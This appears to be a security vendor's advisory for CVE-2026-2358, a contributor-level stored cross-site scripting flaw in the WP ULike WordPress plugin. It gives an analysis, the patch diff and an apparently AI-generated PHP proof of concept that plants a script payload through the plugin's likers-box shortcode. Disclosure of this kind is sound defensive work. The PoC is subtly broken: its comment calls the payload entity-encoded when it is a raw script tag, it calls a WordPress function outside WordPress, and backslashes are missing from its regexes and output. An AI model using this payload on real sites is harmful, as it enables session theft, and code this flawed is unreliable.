Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2358: WP ULike <= 5.0.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attribute (wp-ulike)

CVE ID CVE-2026-2358
Plugin wp-ulike
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.0.1
Patched Version 5.0.2
Disclosed March 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2358:
The vulnerability is a stored Cross-Site Scripting (XSS) flaw in the WP ULike plugin. The root cause is improper output sanitization for the `template` attribute of the `[wp_ulike_likers_box]` shortcode. In versions up to 5.0.1, the plugin processes this attribute using `html_entity_decode()` without subsequent sanitization, as seen in `/wp-ulike/includes/hooks/shortcodes.php` line 209. This decoding effectively bypasses WordPress’s built-in `wp_kses_post()` content filtering, which is applied to shortcode output. The exploitation method requires an authenticated attacker with at least Contributor-level access. The attacker must create or edit a post, embed the shortcode `[wp_ulike_likers_box template=PAYLOAD]`, and publish it. The payload must be HTML entity-encoded to pass initial WordPress sanitization. When a user views the post, the plugin decodes the payload and renders it unsanitized, executing arbitrary JavaScript. The post must have at least one like for the shortcode to render content. The patch in version 5.0.2 replaces `html_entity_decode()` with a call to `wp_ulike_kses()`, a custom sanitization function, on line 209. This change ensures the `template` attribute is sanitized before output, neutralizing the XSS vector. If exploited, this vulnerability allows attackers to steal session cookies, perform actions as the victim, or deface sites.

Differential between vulnerable and patched code

Code Diff
--- a/wp-ulike/includes/classes/class-wp-ulike-purge-cache.php
+++ b/wp-ulike/includes/classes/class-wp-ulike-purge-cache.php
@@ -23,6 +23,7 @@
 		{
 			$this->purgeEnduranceCache();
 			$this->purgeHummingbirdCache();
+			$this->purgeKinstaCache();
 			$this->purgeLitespeedCache();
 			$this->purgeSiteGroundCache();
 			$this->purgeSwiftPerformanceCache();
@@ -42,6 +43,7 @@
 			if (!empty($post_ids)) {
 				$this->purgeEnduranceCache($post_ids, $reffer_url);
 				$this->purgeHummingbirdCache($post_ids, $reffer_url);
+				$this->purgeKinstaCache($post_ids, $reffer_url);
 				$this->purgeLitespeedCache($post_ids, $reffer_url);
 				$this->purgeSiteGroundCache($post_ids, $reffer_url);
 				$this->purgeSwiftPerformanceCache($post_ids, $reffer_url);
@@ -56,6 +58,58 @@
 			}
 		}

+		/**
+		 * Kinsta cache purge. Only runs when Kinsta MU plugin is present; uses kinsta_cache_purge->initiate_purge( $post_id ).
+		 * Also purges referrer URL via GET {url}/kinsta-clear-cache/ when it differs from the post.
+		 *
+		 * @param array       $post_ids   Post IDs to purge.
+		 * @param string|null $reffer_url Referrer URL to purge when different from post.
+		 * @see https://kinsta.com/
+		 */
+		protected function purgeKinstaCache( $post_ids = [], $reffer_url = null ) {
+			global $kinsta_muplugin;
+
+			if ( ! did_action( 'init' ) || ! isset( $kinsta_muplugin ) || ! class_exists( 'KinstaKMP' ) || ! $kinsta_muplugin instanceof KinstaKMP ) {
+				return;
+			}
+
+			$purge = isset( $kinsta_muplugin->kinsta_cache_purge ) ? $kinsta_muplugin->kinsta_cache_purge : null;
+			if ( ! $purge || ! is_callable( array( $purge, 'initiate_purge' ) ) ) {
+				return;
+			}
+
+			if ( empty( $post_ids ) ) {
+				if ( is_callable( array( $purge, 'purge_complete_caches' ) ) ) {
+					$purge->purge_complete_caches( true );
+				}
+				return;
+			}
+
+			$purged_permalinks = array();
+			foreach ( (array) $post_ids as $post_id ) {
+				$post_id = (int) $post_id;
+				if ( $post_id <= 0 || ! get_post_type( $post_id ) ) {
+					continue;
+				}
+				$purge->initiate_purge( $post_id );
+				$permalink = get_permalink( $post_id );
+				if ( $permalink ) {
+					$purged_permalinks[] = untrailingslashit( preg_replace( '#?.*$#', '', $permalink ) );
+				}
+			}
+
+			if ( ! empty( $reffer_url ) && is_string( $reffer_url ) ) {
+				$reffer_url = esc_url_raw( $reffer_url );
+				if ( $reffer_url ) {
+					$ref_normalized = untrailingslashit( preg_replace( '#?.*$#', '', $reffer_url ) );
+					if ( ! in_array( $ref_normalized, $purged_permalinks, true ) ) {
+						$base = rtrim( preg_replace( '#?.*$#', '', $reffer_url ), '/' );
+						wp_remote_get( $base . '/kinsta-clear-cache/', array( 'sslverify' => false, 'timeout' => 5 ) );
+					}
+				}
+			}
+		}
+
 		/**
 		 * @see https://github.com/bluehost/endurance-page-cache/
 		 */
--- a/wp-ulike/includes/hooks/shortcodes.php
+++ b/wp-ulike/includes/hooks/shortcodes.php
@@ -206,7 +206,7 @@
         }

         if( ! empty( $args['template']  ) ){
-            $args['template'] = html_entity_decode( $args['template']  );
+            $args['template'] = wp_ulike_kses( $args['template'] );
         }

         $output = sprintf( '<div class="wp_ulike_manual_likers_wrapper wp_%s_likers_%d">%s</div>', esc_attr( $args['type'] ), esc_attr( $args['id'] ),
--- a/wp-ulike/wp-ulike.php
+++ b/wp-ulike/wp-ulike.php
@@ -3,7 +3,7 @@
  * Plugin Name:       WP ULike
  * Plugin URI:        https://wpulike.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
  * Description:       Looking to increase user engagement on your WordPress site? WP ULike plugin lets you easily add voting buttons to your content. With customizable settings and detailed analytics, you can track user engagement, optimize your content, and build a loyal following.
- * Version:           5.0.1
+ * Version:           5.0.2
  * Author:            TechnoWich
  * Author URI:        https://technowich.com/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash
  * Text Domain:       wp-ulike
@@ -30,7 +30,7 @@

 // Do not change these values
 define( 'WP_ULIKE_PLUGIN_URI'   , 'https://wpulike.com/' 		 			);
-define( 'WP_ULIKE_VERSION'      , '5.0.1' 					 		    	);
+define( 'WP_ULIKE_VERSION'      , '5.0.2' 					 		    	);
 define( 'WP_ULIKE_DB_VERSION'   , '2.4' 					 	 			);
 define( 'WP_ULIKE_SLUG'         , 'wp-ulike' 					 			);
 define( 'WP_ULIKE_NAME'         , 'WP ULike'	    						);

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2358 - WP ULike <= 5.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attribute
<?php

$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_pass';

// Payload: HTML entity-encoded JavaScript alert.
// The plugin's html_entity_decode() will convert this back to <script>alert('Atomic Edge XSS')</script>
$payload = '<script>alert("Atomic Edge XSS")</script>';
$shortcode = "[wp_ulike_likers_box template='{$payload}']";

// Step 1: Authenticate and get nonce for post creation.
$login_url = $target_url . '/wp-login.php';
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ])
]);
$response = curl_exec($ch);

// Step 2: Fetch a nonce for the 'create-post' action (using the WordPress heartbeat API).
curl_setopt_array($ch, [
    CURLOPT_URL => $admin_ajax_url,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'heartbeat',
        '_nonce' => wp_create_nonce('heartbeat-nonce'), // This would need dynamic extraction in a real scenario.
        'data' => json_encode(['wp_autosave' => ['post_id' => 0, 'content' => $shortcode, 'title' => 'Atomic Edge PoC']])
    ])
]);
$response = curl_exec($ch);

// Note: A full PoC requires extracting a valid nonce and creating a post via REST API or admin-ajax.
// This script outlines the attack vector but cannot execute fully without dynamic nonce handling.
// The core exploit is embedding the shortcode with the encoded payload in a post's content.

curl_close($ch);
echo "PoC concept: Create a post with shortcode: {$shortcode}n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School